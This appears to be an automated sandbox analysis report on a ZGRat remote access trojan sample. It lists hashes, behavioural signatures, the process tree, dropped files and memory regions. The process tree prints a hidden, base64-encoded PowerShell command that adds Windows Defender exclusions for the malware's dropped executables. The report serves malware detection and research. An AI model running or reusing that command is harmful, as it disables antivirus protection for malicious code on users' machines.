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Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/03/2024, 02:00

General

  • Target

    0412820e4dacf521808629f37fff8e32aa554c0d9096b7800921c8ae1cfcb0c5.exe

  • Size

    5.1MB

  • MD5

    71ee7a0d612a6530ccfd22c79bbf0695

  • SHA1

    0e7413e80de750d661c132a0dd88c014dbfd2398

  • SHA256

    0412820e4dacf521808629f37fff8e32aa554c0d9096b7800921c8ae1cfcb0c5

  • SHA512

    0cf425fcb5468f16cf79b080e48de65918608842c38a194ce847f7624e66a5b2ede586dc5246ce4460ed006ec5058d4e659079a393914a6adee0e5e643347e0a

  • SSDEEP

    98304:2rHq3FSVIErWayHeVd0q2rVMPMKhV83eZe/LFx:2jqVSVKH0d0q2rfP3lr

Score
10/10

Malware Config

Signatures

  • Detect ZGRat V1 35 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\0412820e4dacf521808629f37fff8e32aa554c0d9096b7800921c8ae1cfcb0c5.exe
    "C:\Users\Admin\AppData\Local\Temp\0412820e4dacf521808629f37fff8e32aa554c0d9096b7800921c8ae1cfcb0c5.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4888
    • C:\Users\Admin\AppData\Local\Temp\Vbcmzog.exe
      "C:\Users\Admin\AppData\Local\Temp\Vbcmzog.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3428
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAQwB1AHIAcgBlAG4AdABcAEEAYwB0AGkAdgBhAHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuAGUAeABlACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAQwB1AHIAcgBlAG4AdABcAEEAYwB0AGkAdgBhAHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuAGUAeABlAA==
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2316
  • C:\Users\Admin\AppData\Roaming\Current\ActivationContext.exe
    C:\Users\Admin\AppData\Roaming\Current\ActivationContext.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3260
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
      2⤵
        PID:4304

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Vbcmzog.exe

      Filesize

      837KB

      MD5

      ec0362e81436b8e7cccb93fa43220fdb

      SHA1

      f4d7b2d844f995c8466aa13ff2f17aab052e14bc

      SHA256

      3e4d82399a8774a79b23814dcae1ce2e38ac565241f0d78e6473269705d2d96c

      SHA512

      cdd02d02cab7fc9ba7c7fab35cc35cbb29b2a40dbbf999dc2222c6449bb70522d91132c7476cb867e7320266d630b1f9d0541d11a076a64f00e426cb342e5700

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qfpwbemb.sxt.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Current\ActivationContext.exe

      Filesize

      5.1MB

      MD5

      71ee7a0d612a6530ccfd22c79bbf0695

      SHA1

      0e7413e80de750d661c132a0dd88c014dbfd2398

      SHA256

      0412820e4dacf521808629f37fff8e32aa554c0d9096b7800921c8ae1cfcb0c5

      SHA512

      0cf425fcb5468f16cf79b080e48de65918608842c38a194ce847f7624e66a5b2ede586dc5246ce4460ed006ec5058d4e659079a393914a6adee0e5e643347e0a

    • memory/2316-7119-0x00007FF873F20000-0x00007FF8749E1000-memory.dmp

      Filesize

      10.8MB

    • memory/2316-7121-0x000002539B2C0000-0x000002539B2D0000-memory.dmp

      Filesize

      64KB

    • memory/2316-7132-0x00000253B3990000-0x00000253B39B2000-memory.dmp

      Filesize

      136KB

    • memory/2316-7135-0x00007FF873F20000-0x00007FF8749E1000-memory.dmp

      Filesize

      10.8MB

    • memory/2316-7120-0x000002539B2C0000-0x000002539B2D0000-memory.dmp

      Filesize

      64KB

    • memory/3260-9092-0x00007FF873F20000-0x00007FF8749E1000-memory.dmp

      Filesize

      10.8MB

    • memory/3260-11927-0x00000239BC870000-0x00000239BC871000-memory.dmp

      Filesize

      4KB

    • memory/3260-7146-0x00000239D6970000-0x00000239D6980000-memory.dmp

      Filesize

      64KB

    • memory/3260-7145-0x00007FF873F20000-0x00007FF8749E1000-memory.dmp

      Filesize

      10.8MB

    • memory/3260-11931-0x00000239D6970000-0x00000239D6980000-memory.dmp

      Filesize

      64KB

    • memory/3260-9304-0x00000239D6970000-0x00000239D6980000-memory.dmp

      Filesize

      64KB

    • memory/3260-11935-0x00007FF873F20000-0x00007FF8749E1000-memory.dmp

      Filesize

      10.8MB

    • memory/3260-11928-0x00000239D6970000-0x00000239D6980000-memory.dmp

      Filesize

      64KB

    • memory/3260-11929-0x00000239D6970000-0x00000239D6980000-memory.dmp

      Filesize

      64KB

    • memory/3260-11930-0x00000239D6970000-0x00000239D6980000-memory.dmp

      Filesize

      64KB

    • memory/3428-7142-0x0000000001520000-0x0000000001530000-memory.dmp

      Filesize

      64KB

    • memory/3428-7141-0x00007FF873F20000-0x00007FF8749E1000-memory.dmp

      Filesize

      10.8MB

    • memory/3428-7127-0x000000001B900000-0x000000001B99E000-memory.dmp

      Filesize

      632KB

    • memory/3428-4802-0x0000000001520000-0x0000000001530000-memory.dmp

      Filesize

      64KB

    • memory/3428-4799-0x0000000000B70000-0x0000000000C48000-memory.dmp

      Filesize

      864KB

    • memory/3428-4801-0x00007FF873F20000-0x00007FF8749E1000-memory.dmp

      Filesize

      10.8MB

    • memory/3428-4800-0x000000001B7F0000-0x000000001B906000-memory.dmp

      Filesize

      1.1MB

    • memory/4304-11934-0x00007FF873F20000-0x00007FF8749E1000-memory.dmp

      Filesize

      10.8MB

    • memory/4888-39-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-4818-0x000002129F1B0000-0x000002129F1B8000-memory.dmp

      Filesize

      32KB

    • memory/4888-51-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-59-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-35-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-29-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-61-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-5-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-63-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-67-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-65-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-1798-0x00007FF873F20000-0x00007FF8749E1000-memory.dmp

      Filesize

      10.8MB

    • memory/4888-2254-0x000002129F1C0000-0x000002129F1D0000-memory.dmp

      Filesize

      64KB

    • memory/4888-4784-0x0000021286760000-0x0000021286761000-memory.dmp

      Filesize

      4KB

    • memory/4888-4785-0x000002129F560000-0x000002129F73C000-memory.dmp

      Filesize

      1.9MB

    • memory/4888-4786-0x00000212868A0000-0x00000212868EC000-memory.dmp

      Filesize

      304KB

    • memory/4888-55-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-53-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-49-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-47-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-43-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-4798-0x000002129F140000-0x000002129F194000-memory.dmp

      Filesize

      336KB

    • memory/4888-4808-0x000002129F930000-0x000002129F9E4000-memory.dmp

      Filesize

      720KB

    • memory/4888-4811-0x000002129F9E0000-0x000002129FAE2000-memory.dmp

      Filesize

      1.0MB

    • memory/4888-4810-0x000002129F1C0000-0x000002129F1D0000-memory.dmp

      Filesize

      64KB

    • memory/4888-57-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-4821-0x00000212A14E0000-0x00000212A1536000-memory.dmp

      Filesize

      344KB

    • memory/4888-4850-0x000002129F1C0000-0x000002129F1D0000-memory.dmp

      Filesize

      64KB

    • memory/4888-45-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-41-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-0-0x0000021284670000-0x0000021284B82000-memory.dmp

      Filesize

      5.1MB

    • memory/4888-37-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-33-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-31-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-27-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-7138-0x000002129F1C0000-0x000002129F1D0000-memory.dmp

      Filesize

      64KB

    • memory/4888-7140-0x00007FF873F20000-0x00007FF8749E1000-memory.dmp

      Filesize

      10.8MB

    • memory/4888-17-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-23-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-25-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-19-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-21-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-13-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-15-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-11-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-9-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-7-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-4-0x000002129F1D0000-0x000002129F560000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-3-0x000002129F1D0000-0x000002129F566000-memory.dmp

      Filesize

      3.6MB

    • memory/4888-2-0x000002129F1C0000-0x000002129F1D0000-memory.dmp

      Filesize

      64KB

    • memory/4888-1-0x00007FF873F20000-0x00007FF8749E1000-memory.dmp

      Filesize

      10.8MB